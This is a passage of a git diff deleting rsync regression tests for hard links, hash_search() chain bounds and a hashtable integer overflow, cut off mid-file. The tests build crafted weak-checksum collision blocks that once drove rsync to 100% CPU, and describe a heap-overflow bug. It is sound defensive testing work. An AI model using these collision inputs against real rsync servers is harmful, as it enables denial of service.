the file\\n\")\n-try:\n-    os.link(name1, name2)\n-except OSError:\n-    test_skipped(\"Can't create hardlink\")\n-try:\n-    os.link(name2, name3)\n-except OSError:\n-    test_fail(\"Can't create hardlink\")\n-shutil.copy(name2, name4)\n-\n-text = bytearray()\n-for f in sorted(SRCDIR.glob('*.c')):\n-    text.extend(f.read_bytes())\n-(FROMDIR / 'text').write_bytes(bytes(text))\n-\n-checkit(['-aHivv', '--debug=HLINK5', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-\n-# Force a delta-overwrite on one of the linked names; -H should still\n-# leave name1..name3 hard-linked on the destination.\n-with open(TODIR / 'name1', 'a') as f:\n-    f.write(\"extra extra\\n\")\n-\n-checkit(['-aHivv', '--debug=HLINK5', '--no-whole-file',\n-         f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-\n-# Add a new link under a subdir that doesn't exist on the dest yet, plus\n-# pile on lots of small files to exercise incremental recursion's link\n-# bookkeeping across batches.\n-makepath(FROMDIR / 'subdir' / 'down' / 'deep')\n-\n-cdir = FROMDIR / 'subdir'\n-chars = list('abcdefghijklmnopqrstuvwxyz0123456789')\n-for x in chars:\n-    for y in chars:\n-        (cdir / f'{x}{y}').touch()\n-\n-os.link(name1, FROMDIR / 'subdir' / 'down' / 'deep' / 'new-file')\n-(TODIR / 'text').unlink()\n-\n-checkit(['-aHivve', SSH, '--debug=HLINK5', f'--rsync-path={rsync_path_arg()}',\n-         f'{FROMDIR}/', f'localhost:{TODIR}/'], FROMDIR, TODIR)\n-\n-# --link-dest and --copy-dest should also keep hard-linked entries.\n-checkit(['-aHivv', '--debug=HLINK5', f'--link-dest={TODIR}',\n-         f'{FROMDIR}/', f'{CHKDIR}/'], TODIR, CHKDIR)\n-\n-shutil.rmtree(CHKDIR, ignore_errors=True)\n-checkit(['-aHivv', '--debug=HLINK5', f'--copy-dest={TODIR}',\n-         f'{FROMDIR}/', f'{CHKDIR}/'], FROMDIR, CHKDIR)\n-\n-# Make a hard link whose other end is outside the source -- the dest\n-# stays single-linked -- and re-sync with --checksum.\n-(FROMDIR / 'solo').write_text(\"This is another file\\n\")\n-try:\n-    os.link(FROMDIR / 'solo', CHKDIR / 'solo')\n-except OSError:\n-    test_fail(\"Can't create hardlink\")\n-\n-# Make sure --checksum doesn't slip the offset due to an HLINK_BUMP() change.\n-proc = subprocess.run(\n-    rsync_argv('-aHivc', '--debug=HLINK5', f'{FROMDIR}/', f'{CHKDIR}/'),\n-    capture_output=True, text=True,\n-)\n-OUTFILE.write_text(proc.stdout)\n-print(proc.stdout, end='')\n-if proc.returncode != 0:\n-    test_fail(f\"-aHivc run exited {proc.returncode}\")\n-if 'solo' in proc.stdout:\n-    test_fail(\"Erroneous copy of solo file occurred!\")\n-\n-# Single-file with -H is a regression-prone path; just confirm it copies.\n-shutil.rmtree(TODIR, ignore_errors=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-subprocess.run(rsync_argv('-aHivv', '--debug=HLINK5', str(name1), f'{TODIR}/'))\n-diff = subprocess.run(['diff', '-u', str(name1), str(TODIR / 'name1')])\n-if diff.returncode != 0:\n-    test_fail(\"solo copy of name1 failed\")\n-\n-# Single-directory with -H is the 3.4.0 regression.\n-shutil.rmtree(FROMDIR, ignore_errors=True)\n-shutil.rmtree(TODIR, ignore_errors=True)\n-makepath(FROMDIR / 'sym', TODIR)\n-subprocess.run(rsync_argv('-aH', str(FROMDIR / 'sym'), str(TODIR)))\n-diff = subprocess.run(['diff', '-r', '-u', str(FROMDIR), str(TODIR)])\n-if diff.returncode != 0:\n-    test_fail(\"solo copy of sym failed\")\ndiff --git a/testsuite/hashsearch-chain_test.py b/testsuite/hashsearch-chain_test.py\ndeleted file mode 100644\nindex 9dcb45b..0000000\n--- a/testsuite/hashsearch-chain_test.py\n+++ /dev/null\n@@ -1,108 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Regression test for issue #217: hash_search() must not blow up to O(N^2).\n-\n-A disk/VM image can contain a huge number of blocks that share the same weak\n-rolling checksum (e.g. long runs of identical bytes).  All such blocks land on\n-a single hash-table chain.  When the sender then rolls across a region whose\n-weak checksum keeps landing on that chain but never produces a strong-checksum\n-match, the inner loop of hash_search() used to walk the *entire* chain for\n-every single byte offset.  The transfer would peg one CPU at 100% for hours\n-with no visible progress -- \"rsync hangs at 100% CPU\".\n-\n-We reproduce a small, deterministic version of that pathology:\n-\n-  * Destination/basis file: many identical \"decoy\" blocks.  Each decoy is an\n-    all-C block whose first three bytes are perturbed by (+1,-2,+1).  That\n-    perturbation leaves rsync's weak checksum (get_checksum1) unchanged but\n-    changes the strong checksum, so every decoy shares one weak checksum yet\n-    never strong-matches the source -> one very long chain, all false alarms.\n-\n-  * Source file: a short run of the constant byte C.  Every window has that\n-    same weak checksum, so without a bound the sender walks the whole chain at\n-    every offset.\n-\n-Rather than measure wall-clock time (which is hopelessly machine dependent),\n-we count the work directly.  rsync's existing `false_alarms` counter -- shown\n-by `--debug=deltasum1` -- is incremented once per strong-checksum comparison\n-that fails, i.e. exactly once per chain entry examined and rejected.  With the\n-per-offset cap in match.c the sender examines at most MAX_CHAIN_LEN entries per\n-hash hit, so false_alarms / hash_hits stays bounded no matter how long the\n-chain is; without the cap that ratio equals the full chain length.  We assert\n-the bound, which is the same integer on every machine.\n-\n-The fix is sender-only (it changes no checksum, byte, or protocol field), so\n-the transferred result must also still be byte-for-byte correct.\n-\"\"\"\n-\n-import re\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR, assert_same, rmtree, run_rsync, test_fail,\n-)\n-\n-BLOCK = 256\n-NBLOCKS = 8000           # chain length -- much longer than match.c's cap (1024)\n-RUN = 3000               # length of the constant-byte region in the source\n-C = 100                  # the constant source byte\n-\n-# A correct fix bounds the per-hash-hit chain walk to match.c's MAX_CHAIN_LEN\n-# (1024).  Pick an assertion bound comfortably between that cap and the full\n-# chain length so the test is insensitive to modest cap retuning but still\n-# fails hard for the unbounded (pre-fix) walk of NBLOCKS per hit.\n-MAX_FALSE_ALARMS_PER_HIT = NBLOCKS // 4   # 2000: > cap(1024), << chain(8000)\n-\n-\n-def make_decoy_block() -> bytes:\n-    b = bytearray([C]) * BLOCK\n-    # (+1,-2,+1) at positions 0,1,2 preserves get_checksum1 (both s1 and s2)\n-    # while changing the block's content and thus its strong checksum.\n-    b[0] = C + 1\n-    b[1] = C - 2\n-    b[2] = C + 1\n-    return bytes(b)\n-\n-\n-rmtree(FROMDIR)\n-rmtree(TODIR)\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-src = FROMDIR / 'image.bin'\n-dst = TODIR / 'image.bin'\n-\n-# Basis: NBLOCKS identical decoys -> one giant weak-checksum chain.\n-decoy = make_decoy_block()\n-with open(dst, 'wb') as f:\n-    for _ in range(NBLOCKS):\n-        f.write(decoy)\n-\n-# Source: a constant-byte run (constant weak checksum, no strong match).\n-with open(src, 'wb') as f:\n-    f.write(bytes([C]) * RUN)\n-\n-proc = run_rsync('-a', '--no-whole-file', f'--block-size={BLOCK}',\n-                 '--no-compress', '--debug=deltasum1',\n-                 f'{src}', f'{dst}', capture_output=True)\n-\n-out = proc.stdout + proc.stderr\n-m = re.search(r'hash_hits=(\\d+)\\s+false_alarms=(\\d+)', out)\n-if not m:\n-    test_fail(f\"could not find deltasum stats in rsync output:\\n{out}\")\n-hash_hits = int(m.group(1))\n-false_alarms = int(m.group(2))\n-\n-if hash_hits == 0:\n-    test_fail(\"expected the source to hit the decoy chain but hash_hits=0\")\n-\n-ratio = false_alarms / hash_hits\n-if ratio > MAX_FALSE_ALARMS_PER_HIT:\n-    test_fail(\n-        f\"hash_search() walked ~{ratio:.0f} chain entries per hash hit \"\n-        f\"(false_alarms={false_alarms}, hash_hits={hash_hits}); the chain of \"\n-        f\"{NBLOCKS} entries is not being capped -- issue #217 regression\")\n-\n-# Correctness is non-negotiable: the cap only skips matches, never data.\n-assert_same(dst, src, label='issue #217 chain-cap transfer')\n-\n-print(f\"issue #217: bounded at {ratio:.0f} false alarms/hit \"\n-      f\"(chain={NBLOCKS}, cap keeps it under {MAX_FALSE_ALARMS_PER_HIT})\")\ndiff --git a/testsuite/hashsearch-collision-skip_test.py b/testsuite/hashsearch-collision-skip_test.py\ndeleted file mode 100644\nindex 2f6192e..0000000\n--- a/testsuite/hashsearch-collision-skip_test.py\n+++ /dev/null\n@@ -1,234 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Regression test for hash_search() collision-flood bounds and skip boundaries.\n-\n-Verifies that when rolling across unmatched constant-checksum collision runs:\n-1. CPU work (hash_hits and false_alarms) is strictly bounded at O(N / blength)\n-   rather than computing a strong checksum on every byte O(N).\n-2. Bandwidth (Literal data vs Matched data) is exact: valid basis blocks placed\n-   immediately after colliding runs at every critical skip boundary are 100%\n-   matched without skipping a single valid block:\n-   - Sub-threshold collision run (3 bytes < 4-offset threshold)\n-   - Exact 1-block boundary (BLOCK bytes)\n-   - Exact 1st-skip landing boundary (BLOCK + 3 bytes)\n-   - 1-byte past 1st-skip landing boundary (BLOCK + 4 bytes)\n-   - Exact 2nd-skip landing boundary (2 * BLOCK + 3 bytes)\n-   - Multi-skip + sub-threshold roll (2 * BLOCK + 6 bytes)\n-   - Long multi-block flood + arbitrary unaligned offset (10 * BLOCK + 137 bytes)\n-3. `--inplace` mode preserves exact boundary matches across collision skips.\n-4. Crafted weak-checksum collisions with bunched perturbations (e.g., (+1, -2, +1)\n-   at bytes 0..2) trigger premature boundary skips due to partial window overlap,\n-   resulting in *increased literal data* (safely falling back to literal transmission\n-   rather than corrupting the file or hanging the CPU).\n-\"\"\"\n-\n-import re\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR, assert_same, rmtree, run_rsync, test_fail,\n-)\n-\n-BLOCK = 704\n-C_BYTE = 100\n-\n-\n-def make_spread_colliding_block(delta: int, fill: int = C_BYTE) -> bytes:\n-    b = bytearray([fill]) * BLOCK\n-    b[0] = fill + delta\n-    b[351] = fill - delta\n-    b[352] = fill - delta\n-    b[703] = fill + delta\n-    return bytes(b)\n-\n-\n-def make_block(perturb_offset: int = -1, fill: int = C_BYTE) -> bytes:\n-    \"\"\"Crafted weak-checksum collision block ((+1, -2, +1) perturbation at 0..2).\n-    Because perturbations are bunched at the start, partial boundary windows\n-    falsely collide, triggering premature skips and resulting in increased literal data.\n-    \"\"\"\n-    b = bytearray([fill]) * BLOCK\n-    if perturb_offset >= 0:\n-        b[perturb_offset] = fill + 1\n-        b[perturb_offset + 1] = fill - 2\n-        b[perturb_offset + 2] = fill + 1\n-    return bytes(b)\n-\n-\n-def parse_stats(out: str):\n-    m_delta = re.search(r'hash_hits=(\\d+)\\s+false_alarms=(\\d+)', out)\n-    m_lit = re.search(r'Literal data:\\s*([\\d,.]+)\\s*bytes', out)\n-    m_match = re.search(r'Matched data:\\s*([\\d,.]+)\\s*bytes', out)\n-    if not m_delta or not m_lit or not m_match:\n-        test_fail(f\"could not find deltasum/stats in rsync output:\\n{out}\")\n-    return (\n-        int(m_delta.group(1)),\n-        int(m_delta.group(2)),\n-        int(m_lit.group(1).replace(',', '').replace('.', '')),\n-        int(m_match.group(1).replace(',', '').replace('.', '')),\n-    )\n-\n-\n-block_a = make_spread_colliding_block(5)\n-block_d = make_spread_colliding_block(9)\n-\n-rmtree(FROMDIR)\n-rmtree(TODIR)\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-# ---------------------------------------------------------------------------\n-# Case 1: Skip-boundary match preservation + CPU/bandwidth bounds\n-# ---------------------------------------------------------------------------\n-src1 = FROMDIR / 'skip_boundaries.bin'\n-dst1 = TODIR / 'skip_boundaries.bin'\n-\n-dst1_payload = (block_a * 2) + (block_d * 2) + (block_a * 14) + (block_d * 14)\n-dst1.write_bytes(dst1_payload)\n-\n-boundary_runs = [\n-    bytes([C_BYTE]) * 3,                  # < 4 misses (no skip, rolls into match)\n-    bytes([C_BYTE]) * BLOCK,              # Exact 1-block boundary\n-    bytes([C_BYTE]) * (BLOCK + 3),        # Exact landing offset of 1st skip (3 + BLOCK)\n-    bytes([C_BYTE]) * (BLOCK + 4),        # 1 byte after 1st skip landing\n-    bytes([C_BYTE]) * (2 * BLOCK + 3),    # Exact landing offset of 2nd consecutive skip\n-    bytes([C_BYTE]) * (2 * BLOCK + 6),    # 2 skips + 3-byte sub-threshold roll\n-    bytes([C_BYTE]) * (10 * BLOCK + 137), # Long flood + unaligned remainder\n-]\n-\n-src1_parts = [(block_a * 2) + (block_d * 2)]\n-for idx, run in enumerate(boundary_runs):\n-    valid_group = (block_d * 4) if (idx % 2 == 0) else (block_a * 4)\n-    src1_parts.append(run)\n-    src1_parts.append(valid_group)\n-\n-src1_payload = b''.join(src1_parts)\n-src1.write_bytes(src1_payload)\n-\n-proc1 = run_rsync('-a', '-I', '--no-whole-file', f'--block-size={BLOCK}',\n-                  '--no-compress', '--stats', '--debug=deltasum1',\n-                  f'{src1}', f'{dst1}', capture_output=True)\n-\n-hash_hits1, false_alarms1, literal1, matched1 = parse_stats(\n-    proc1.stdout + proc1.stderr\n-)\n-\n-total_valid_blocks = 4 * (1 + len(boundary_runs))  # 32 blocks = 22,528 bytes\n-expected_matched1 = total_valid_blocks * BLOCK\n-expected_literal1 = sum(len(r) for r in boundary_runs)\n-\n-if matched1 != expected_matched1 or literal1 != expected_literal1:\n-    test_fail(\n-        f\"Case 1 skip boundary missed valid basis blocks: \"\n-        f\"matched={matched1} (expected {expected_matched1}), \"\n-        f\"literal={literal1} (expected {expected_literal1})\"\n-    )\n-\n-MAX_EXPECTED_HITS1 = 160\n-if hash_hits1 > MAX_EXPECTED_HITS1:\n-    test_fail(\n-        f\"Case 1 collision flood rolled 1 byte at a time: hash_hits={hash_hits1} \"\n-        f\"(expected <= {MAX_EXPECTED_HITS1})\"\n-    )\n-\n-assert_same(dst1, src1, label='Case 1: collision skip-boundary transfer')\n-\n-# ---------------------------------------------------------------------------\n-# Case 2: Pure unmatched collision flood CPU bound (O(N/B) vs O(N))\n-# ---------------------------------------------------------------------------\n-src2 = FROMDIR / 'pure_flood.bin'\n-dst2 = TODIR / 'pure_flood.bin'\n-\n-N_FLOOD = 12\n-dst2.write_bytes(block_a * N_FLOOD)\n-src2.write_bytes(bytes([C_BYTE]) * (N_FLOOD * BLOCK))\n-\n-proc2 = run_rsync('-a', '-I', '--no-whole-file', f'--block-size={BLOCK}',\n-                  '--no-compress', '--stats', '--debug=deltasum1',\n-                  f'{src2}', f'{dst2}', capture_output=True)\n-\n-hash_hits2, false_alarms2, literal2, matched2 = parse_stats(\n-    proc2.stdout + proc2.stderr\n-)\n-\n-MAX_EXPECTED_HITS2 = N_FLOOD * 3\n-if hash_hits2 > MAX_EXPECTED_HITS2:\n-    test_fail(\n-        f\"Case 2 pure flood rolled 1 byte at a time: hash_hits={hash_hits2} \"\n-        f\"(expected <= {MAX_EXPECTED_HITS2})\"\n-    )\n-\n-assert_same(dst2, src2, label='Case 2: pure collision flood transfer')\n-\n-# ---------------------------------------------------------------------------\n-# Case 3: Skip-boundary match preservation under --inplace\n-# ---------------------------------------------------------------------------\n-src3 = FROMDIR / 'inplace_skip.bin'\n-dst3 = TODIR / 'inplace_skip.bin'\n-\n-dst3.write_bytes(dst1_payload)\n-src3.write_bytes(src1_payload)\n-\n-proc3 = run_rsync('-a', '-I', '--inplace', '--no-whole-file',\n-                  f'--block-size={BLOCK}', '--no-compress',\n-                  '--stats', '--debug=deltasum1',\n-                  f'{src3}', f'{dst3}', capture_output=True)\n-\n-hash_hits3, _, literal3, matched3 = parse_stats(proc3.stdout + proc3.stderr)\n-\n-if matched3 != expected_matched1 or literal3 != expected_literal1:\n-    test_fail(\n-        f\"Case 3 (--inplace skip boundaries) missed valid matches: \"\n-        f\"matched={matched3} (expected {expected_matched1}), \"\n-        f\"literal={literal3} (expected {expected_literal1})\"\n-    )\n-\n-if hash_hits3 > MAX_EXPECTED_HITS1:\n-    test_fail(\n-        f\"Case 3 (--inplace) rolled 1 byte at a time: hash_hits={hash_hits3} \"\n-        f\"(expected <= {MAX_EXPECTED_HITS1})\"\n-    )\n-\n-assert_same(dst3, src3, label='Case 3: --inplace collision skip-boundary transfer')\n-\n-# ---------------------------------------------------------------------------\n-# Case 4: Bunched-perturbation hazard demonstration (make_block vs spread)\n-# ---------------------------------------------------------------------------\n-# Documents that if a colliding block uses bunched perturbations (like (+1, -2, +1)\n-# at bytes 0..2), partial overlapping boundary windows falsely trigger premature\n-# skips, jumping over valid blocks and resulting in *increased literal data*\n-# (safe fallback to network transfer) while preserving 100% file integrity.\n-# Odd block sizes here should not result in more literal data.\n-src4 = FROMDIR / 'bunched_hazard.bin'\n-dst4 = TODIR / 'bunched_hazard.bin'\n-\n-# Valid block built with bunched perturbation (make_block)\n-bunched_block = make_block(0)\n-\n-dst4.write_bytes(bunched_block * 16)\n-\n-# Interleave pure C_BYTE gaps with bunched blocks\n-src4_payload = (\n-    (bunched_block * 2)\n-    + (bytes([C_BYTE]) * BLOCK)  # 1-block boundary gap\n-    + (bunched_block * 4)\n-)\n-src4.write_bytes(src4_payload)\n-\n-proc4 = run_rsync('-a', '-I', '--no-whole-file', f'--block-size={BLOCK}',\n-                  '--no-compress', '--stats', '--debug=deltasum1',\n-                  f'{src4}', f'{dst4}', capture_output=True)\n-\n-hash_hits4, _, literal4, matched4 = parse_stats(proc4.stdout + proc4.stderr)\n-\n-# Because bunched perturbations trigger premature skips, literal data is\n-# higher than the exact gap length (> 704 bytes), but file integrity holds.\n-EXPECTED_BASE_LITERAL = BLOCK + 10\n-if literal4 <= EXPECTED_BASE_LITERAL:\n-    test_fail(f\"Case 4 expected bunched perturbation to cause literal data inflation, got {literal4} bytes\")\n-\n-assert_same(dst4, src4, label='Case 4: bunched-perturbation hazard transfer')\n-\n-print(\n-    f\"collision-skip test passed: boundary_hits={hash_hits1}, \"\n-    f\"flood_hits={hash_hits2}, inplace_hits={hash_hits3}, \"\n-    f\"bunched_literal={literal4} (exceeded {EXPECTED_BASE_LITERAL} due to premature skip)\"\n-)\ndiff --git a/testsuite/hashsearch-dup-chain_test.py b/testsuite/hashsearch-dup-chain_test.py\ndeleted file mode 100644\nindex 183f97e..0000000\n--- a/testsuite/hashsearch-dup-chain_test.py\n+++ /dev/null\n@@ -1,225 +0,0 @@\n-\"\"\"Regression test for duplicate-chain unlinking in hash_search() (issue #1115).\n-\n-Covers:\n-1. Forward layout (#1115): valid blocks at the beginning of the basis file\n-   sitting behind > MAX_CHAIN_LEN (1024) duplicate colliding blocks.\n-2. Multi-group interleaved layout: multiple distinct valid block types (A, D)\n-   buried behind > MAX_CHAIN_LEN duplicate colliding blocks (B, E) in the same\n-   hash bucket.\n-3. `--inplace` SUMFLG_SAME_OFFSET preservation: mutating the chain on duplicate\n-   false alarms must never let an unpinned node unlink a basis block carrying\n-   SUMFLG_SAME_OFFSET when the unpinned duplicate later gets overwritten.\n-4. `--inplace` duplicate SUMFLG_SAME_OFFSET unlinking: when > MAX_CHAIN_LEN\n-   duplicate blocks all match in-place (earning SUMFLG_SAME_OFFSET), keeping\n-   the first pinned representative must unlink the remaining pinned duplicates\n-   so valid blocks behind them are still reached and matched with bounded\n-   false_alarms.\n-\"\"\"\n-\n-import re\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR, assert_same, rmtree, run_rsync, test_fail,\n-)\n-\n-BLOCK = 704\n-C_BYTE = 100\n-\n-\n-def make_block(perturb_offset: int = -1, fill: int = C_BYTE) -> bytes:\n-    b = bytearray([fill]) * BLOCK\n-    if perturb_offset >= 0:\n-        # (+1, -2, +1) preserves get_checksum1 (both s1 and s2) while\n-        # producing a distinct strong checksum.\n-        b[perturb_offset] = fill + 1\n-        b[perturb_offset + 1] = fill - 2\n-        b[perturb_offset + 2] = fill + 1\n-    return bytes(b)\n-\n-\n-def parse_stats(out: str):\n-    m_delta = re.search(r'hash_hits=(\\d+)\\s+false_alarms=(\\d+)', out)\n-    m_lit = re.search(r'Literal data:\\s*([\\d,.]+)\\s*bytes', out)\n-    m_match = re.search(r'Matched data:\\s*([\\d,.]+)\\s*bytes', out)\n-    if not m_delta or not m_lit or not m_match:\n-        test_fail(f\"could not find deltasum/stats in rsync output:\\n{out}\")\n-    return (\n-        int(m_delta.group(1)),\n-        int(m_delta.group(2)),\n-        int(m_lit.group(1).replace(',', '').replace('.', '')),\n-        int(m_match.group(1).replace(',', '').replace('.', '')),\n-    )\n-\n-\n-# Blocks A, B, D, E all share the exact same 32-bit weak checksum (sum1)\n-# but have distinct strong checksums (sum2).\n-block_a = make_block(0)\n-block_b = make_block(4)\n-block_d = make_block(8)\n-block_e = make_block(12)\n-\n-# Distinct non-colliding blocks for --inplace overwrite testing\n-block_x = make_block(-1, fill=88)\n-block_y = make_block(-1, fill=69)\n-\n-rmtree(FROMDIR)\n-rmtree(TODIR)\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-# ---------------------------------------------------------------------------\n-# Case 1: Forward layout (#1115) -- Valid blocks behind 1,500 duplicate B blocks\n-# ---------------------------------------------------------------------------\n-src1 = FROMDIR / 'forward1115.bin'\n-dst1 = TODIR / 'forward1115.bin'\n-\n-N_HEAD = 8\n-N_DUP = 1500  # > MAX_CHAIN_LEN (1024)\n-\n-payload1 = (block_a * N_HEAD) + (block_b * N_DUP)\n-src1.write_bytes(payload1)\n-dst1.write_bytes(payload1)\n-\n-proc1 = run_rsync('-a', '-I', '--no-whole-file', f'--block-size={BLOCK}',\n-                  '--no-compress', '--stats', '--debug=deltasum1',\n-                  f'{src1}', f'{dst1}', capture_output=True)\n-\n-_, false_alarms1, literal1, matched1 = parse_stats(proc1.stdout + proc1.stderr)\n-\n-if literal1 != 0 or matched1 != len(payload1):\n-    test_fail(\n-        f\"Case 1 (#1115 forward) failed: literal={literal1} (expected 0), \"\n-        f\"matched={matched1} (expected {len(payload1)})\")\n-\n-if false_alarms1 > N_HEAD * 2:\n-    test_fail(\n-        f\"Case 1 duplicate chain entries were not unlinked: \"\n-        f\"false_alarms={false_alarms1} (expected <= {N_HEAD * 2})\")\n-\n-assert_same(dst1, src1, label='Case 1: #1115 forward layout')\n-\n-# ---------------------------------------------------------------------------\n-# Case 2: Multi-group interleaved duplicates in a single hash chain\n-# ---------------------------------------------------------------------------\n-src2 = FROMDIR / 'interleaved1115.bin'\n-dst2 = TODIR / 'interleaved1115.bin'\n-\n-# Basis chain has 4 colliding groups stacked > MAX_CHAIN_LEN deep:\n-# [600 x E] -> [4 x D] -> [600 x B] -> [4 x A]  (total chain = 1,208 > 1024)\n-dst2_payload = (block_a * 4) + (block_b * 600) + (block_d * 4) + (block_e * 600)\n-# Source requests A first, then D, then B, then E:\n-src2_payload = (block_a * 4) + (block_d * 4) + (block_b * 4) + (block_e * 4)\n-\n-dst2.write_bytes(dst2_payload)\n-src2.write_bytes(src2_payload)\n-\n-proc2 = run_rsync('-a', '-I', '--no-whole-file', f'--block-size={BLOCK}',\n-                  '--no-compress', '--stats', '--debug=deltasum1',\n-                  f'{src2}', f'{dst2}', capture_output=True)\n-\n-_, false_alarms2, literal2, matched2 = parse_stats(proc2.stdout + proc2.stderr)\n-\n-if literal2 != 0 or matched2 != len(src2_payload):\n-    test_fail(\n-        f\"Case 2 (multi-group chain) failed: literal={literal2} (expected 0), \"\n-        f\"matched={matched2} (expected {len(src2_payload)})\")\n-\n-if false_alarms2 > 64:\n-    test_fail(\n-        f\"Case 2 excessive false_alarms={false_alarms2} (expected <= 64)\")\n-\n-assert_same(dst2, src2, label='Case 2: multi-group duplicate unlinking')\n-\n-# ---------------------------------------------------------------------------\n-# Case 3: --inplace SUMFLG_SAME_OFFSET preservation when mutating chain\n-# ---------------------------------------------------------------------------\n-src3 = FROMDIR / 'inplace_preserve.bin'\n-dst3 = TODIR / 'inplace_preserve.bin'\n-\n-N_TAIL = 20\n-\n-# Basis has A at Block 0 (offset 0) and Block 2 (offset 2*BLOCK), plus 1,200\n-# duplicate B blocks at the end so the chain is > MAX_CHAIN_LEN:\n-# Chain order: [1200 x B] -> [Block 2: A] -> [Block 0: A]\n-dst3.write_bytes(block_a + block_y + block_a + (block_y * N_TAIL) + (block_b * 1200))\n-\n-# Source:\n-# - Block 0: A (matches Block 0 in-place -> sets SUMFLG_SAME_OFFSET on Block 0,\n-#   and unlinks the 1,199 duplicate B blocks ahead of it)\n-# - Block 1: D (collides with A & B -> walks [B -> Block 2 (A) -> Block 0 (A)];\n-#   must NOT let unpinned Block 2 unlink pinned Block 0!)\n-# - Block 2: X (overwrites Block 2 on disk, expiring Block 2 once offset > 2*BLOCK)\n-# - Blocks 3..22: 20 blocks of A (must match surviving Block 0!)\n-src3.write_bytes(block_a + block_d + block_x + (block_a * N_TAIL))\n-\n-proc3 = run_rsync('-a', '-I', '--inplace', '--no-whole-file',\n-                  f'--block-size={BLOCK}', '--no-compress',\n-                  '--stats', '--debug=deltasum1',\n-                  f'{src3}', f'{dst3}', capture_output=True)\n-\n-_, _, literal3, matched3 = parse_stats(proc3.stdout + proc3.stderr)\n-\n-expected_literal3 = 2 * BLOCK          # Only Block 1 (D) and Block 2 (X)\n-expected_matched3 = (1 + N_TAIL) * BLOCK  # Block 0 (A) + 20 trailing A blocks\n-\n-if literal3 != expected_literal3 or matched3 != expected_matched3:\n-    test_fail(\n-        f\"Case 3 (--inplace SUMFLG_SAME_OFFSET preservation) failed: \"\n-        f\"literal={literal3} (expected {expected_literal3}), \"\n-        f\"matched={matched3} (expected {expected_matched3})\")\n-\n-assert_same(dst3, src3, label='Case 3: --inplace SUMFLG_SAME_OFFSET preservation')\n-\n-# ---------------------------------------------------------------------------\n-# Case 4: --inplace unlinking of > MAX_CHAIN_LEN pinned SUMFLG_SAME_OFFSET dups\n-# ---------------------------------------------------------------------------\n-src4 = FROMDIR / 'inplace_pinned_dups.bin'\n-dst4 = TODIR / 'inplace_pinned_dups.bin'\n-\n-N_PINNED_DUPS = 1500  # > MAX_CHAIN_LEN (1024)\n-N_TRAIL_A = 16\n-\n-# DST: [Block 0: A] + [Blocks 1..1500: B] + [Block 1501: A]\n-# Chain starts as: [1501: A] -> [1500..1: B] -> [0: A]\n-# - At Block 0 (A): matches [1501: A] at chain head, swaps to aligned_i = 0,\n-#   setting SUMFLG_SAME_OFFSET on Block 0 (A) without walking [1500..1: B].\n-# - At Blocks 1..1500 (B): matches [1500: B], swaps to aligned_i = 1..1500,\n-#   setting SUMFLG_SAME_OFFSET on ALL 1,500 B blocks!\n-# - At Block 1501 (X): overwrites Block 1501 on disk (expiring [1501: A]).\n-# - At Blocks 1502..1517 (16 x A): [1501: A] is expired, and all 1,500 B blocks\n-#   carry SUMFLG_SAME_OFFSET. Keeping [1500: B] (last_false_flags & SUMFLG_SAME_OFFSET)\n-#   must unlink the other 1,499 pinned B blocks so [0: A] is reached and matched!\n-dst4.write_bytes(block_a + (block_b * N_PINNED_DUPS) + block_a)\n-src4.write_bytes(block_a + (block_b * N_PINNED_DUPS) + block_x + (block_a * N_TRAIL_A))\n-\n-proc4 = run_rsync('-a', '-I', '--inplace', '--no-whole-file',\n-                  f'--block-size={BLOCK}', '--no-compress',\n-                  '--stats', '--debug=deltasum1',\n-                  f'{src4}', f'{dst4}', capture_output=True)\n-\n-_, false_alarms4, literal4, matched4 = parse_stats(proc4.stdout + proc4.stderr)\n-\n-expected_literal4 = 1 * BLOCK             # Only Block 1501 (X)\n-expected_matched4 = (1 + N_PINNED_DUPS + N_TRAIL_A) * BLOCK\n-\n-if literal4 != expected_literal4 or matched4 != expected_matched4:\n-    test_fail(\n-        f\"Case 4 (--inplace pinned duplicate unlinking) failed: \"\n-        f\"literal={literal4} (expected {expected_literal4}), \"\n-        f\"matched={matched4} (expected {expected_matched4})\")\n-\n-# 1,500 B blocks each hit [1501: A] once (1,500), plus 16 trailing A blocks\n-# each hit [1500: B] once (16) = 1,516 false_alarms (vs > 17,000 if not unlinked).\n-MAX_EXPECTED_ALARMS4 = N_PINNED_DUPS + (N_TRAIL_A * 2)\n-if false_alarms4 > MAX_EXPECTED_ALARMS4:\n-    test_fail(\n-        f\"Case 4 pinned duplicates were not unlinked: \"\n-        f\"false_alarms={false_alarms4} (expected <= {MAX_EXPECTED_ALARMS4})\")\n-\n-assert_same(dst4, src4, label='Case 4: --inplace pinned duplicate unlinking')\n-\n-print(\n-    f\"dup-chain test passed: forward_alarms={false_alarms1}, \"\n-    f\"interleaved_alarms={false_alarms2}, inplace_matched={matched3}, \"\n-    f\"pinned_dups_matched={matched4} (alarms={false_alarms4})\"\n-)\ndiff --git a/testsuite/hashtable-overflow_test.py b/testsuite/hashtable-overflow_test.py\ndeleted file mode 100644\nindex 01c6d55..0000000\n--- a/testsuite/hashtable-overflow_test.py\n+++ /dev/null\n@@ -1,37 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for the hashtable size*node_size integer overflow (KI-11/12).\n-#\n-# hashtable_create() once computed the slot-array byte count in 32-bit int\n-# (new_array0(char, size * node_size)); a large peer/data-driven size wrapped the\n-# product to a tiny value, under-allocating the table while tbl->size kept the\n-# huge size -- a later node access ran out of bounds (heap overflow / SEGV).\n-#\n-# The t_hashtable_overflow helper (built by make check) links the real\n-# hashtable.o, sets a realistic --max-alloc, and asks for an absurd size.  The\n-# fix passes the factors separately so my_alloc's guard rejects it, exiting\n-# RERR_MALLOC; a regressed build under-allocates and crashes on the node access.\n-\n-import subprocess\n-\n-from rsyncfns import TOOLDIR, test_fail, 